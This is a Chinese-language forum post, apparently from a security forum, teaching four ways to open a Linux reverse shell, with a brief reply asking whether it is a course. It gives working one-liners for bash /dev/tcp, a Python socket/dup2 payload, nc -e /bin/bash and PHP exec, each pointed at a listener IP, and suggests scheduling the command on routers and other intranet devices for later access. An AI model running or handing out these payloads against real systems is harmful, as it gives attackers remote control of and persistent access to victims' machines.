搜索
查看: 8146|回复: 1

Linux反弹Shell

[复制链接]

714

主题

354

回帖

2669

积分

管理员

本论坛第一帅

积分
2669

热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 2022-4-16 23:32:15 | 显示全部楼层 |阅读模式 来自 甘肃
[md]> 在日常工作中,我们需要得到目标系统的 shell。在局域网相对简单,而不在同一局域网或者是异地网络。那么如何让目标直接互通执行相关 shell 命令呢?通过本文我们一起来看看 Linux 如何反弹 shell。

![](data/attachment/forum/202204/16/233301swwphbo4i4rrwwoo.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "钃濈豢鑹插?鏅氭槦绌洪儕澶栨儏渚i獞杞︽墜缁樻儏浜鸿妭鑺傛棩鍒嗕韩涓?枃寰?俊鍏.png")
### 实验环境

kali Linux (内外:`192.168.5.139`)
Centos8 (腾讯云:`123.6.44.67`)

### 姿势一 bash 反弹

首先,使用 nc 在外网主机上监听端口:

```
nc -lvp 9090
```

注意:一定是外网设置执行,因为两个设备不在同一网段。外网不能直达内网,但内网可以到达外网。
然后,在 kali/内网执行下面命令

```
bash -i >& /dev/tcp/123.6.44.67/9090 0>&1
```

**命令解读**
inux shell 下有三种标准的文件描述符,分别如下:
`0 - stdin` 代表标准输入,使用 `<` 或 `<<`
`1 - stdout` 代表标准输出,使用 `>` 或 `>>`
`2 - stderr` 代表标准错误输出,使用 `2>` 或 `2>>`
还有就是 `>&` 这个符号的含义,最好的理解是这样的:
当 `>&` 后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当 `>&` 后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
理解了上面这些知识,下面来解释一下这一条反弹 shell 的命令,
`bash -i` 代表在本地打开一个交互式 bash,
`/dev/tcp/` 是 Linux 中的一个特殊设备,打开这个文件就相当于发出了一个 `socket` 调用,建立一个 `socket` 连接,
`>&` 后面跟上 `/dev/tcp/ip/port` 这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个 bash 的标准输出和标准错误输出,这个时候我们在目标机输入命令,输出以及错误输出的内容就会被传递显示到远程。
![](https://blog.bbskali.cn/usr/uploads/2022/04/727640598.png)
可以看到,我们在腾讯云主机登录到了内网设备。
利用这种方法,我们可以在内网设备,如路由器等,设置脚本让其在指定的时间执行此命令。方便后期的登录。

### 姿势二 Python 反弹

反弹 shell 命令如下:

```
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
```

还是一样,我们在 CentOS 中执行命令

```
nc -lvp 9090
```

在 kali 中执行命令

```
python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('123.6.44.67',9090));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
```

同样,也可以得到对应目标的反弹 shell
**原理分析**
使用 `socket` 与远程建立起连接,接下来使用到了 `os` 库的 `dup2` 方法将标准输入、标准输出、标准错误输出重定向到远程,`dup2` 这个方法有两个参数,分别为文件描述符 `fd1` 和 `fd2`,当 `fd2` 参数存在时,就关闭 `fd2`,然后将 `fd1` 代表的那个文件强行复制给 fd2,在这里可以把 fd1 和 fd2 看作是 C 语言里的指针,将 fd1 赋值给 fd2,就相当于将 fd2 指向于 `s.fileno()`,`fileno()` 返回的是一个文件描述符,在这里也就是建立 socket 连接返回的文件描述符

### 姿势三 nc 反弹

使用 nc 反弹 shell,需要的条件是被反弹 shell 的机器安装了 nc
在 CentOS 上使用 nc 监听端口:

```
nc -lvp 9090
```

在目标机上使用 nc 去反向连接,命令如下:

```
nc 123.6.44.67 9090 -e /bin/bash
```

这里的 `-e` 后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地 `shell(/bin/bash)`,也就是反弹一个 shell 给远程,可以看到远程已经成功反弹到了 shell,并且可以执行命令。

### 姿势四 PHP 反弹

使用 PHP 反弹 shell,方法如下 。
首先最简单的一个办法,就是使用 PHP 的 `exec` 函数执行方法 1 反弹 shell 的命令:

```
php -r 'exec("/bin/bash -i >& /dev/tcp/123.6.44.67 9090");'
php -r 'exec("/bin/bash -i >& /dev/tcp/123.6.44.67 9090 0>&1");'
```

但是现在很多服务器都禁用了 PHP 的相关函数。所以这里不再重点说明。
[/md]
钃濈豢鑹插?鏅氭槦绌洪儕澶栨儏渚i獞杞︽墜缁樻儏浜鸿妭鑺傛棩鍒嗕韩涓?枃寰?俊鍏.png
钃濈豢鑹插?鏅氭槦绌洪儕澶栨儏渚i獞杞︽墜缁樻儏浜鸿妭鑺傛棩鍒嗕韩涓?枃寰?俊鍏.png
有志者,事竟成,破釜沉舟,百二秦关终属楚. 苦心人,天不负, 卧薪尝胆 ,三千越甲可吞吴
回复

使用道具 举报

0

主题

6

回帖

11

积分

vip用户

积分
11
发表于 2022-5-18 15:00:43 | 显示全部楼层
这是课程吗?
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表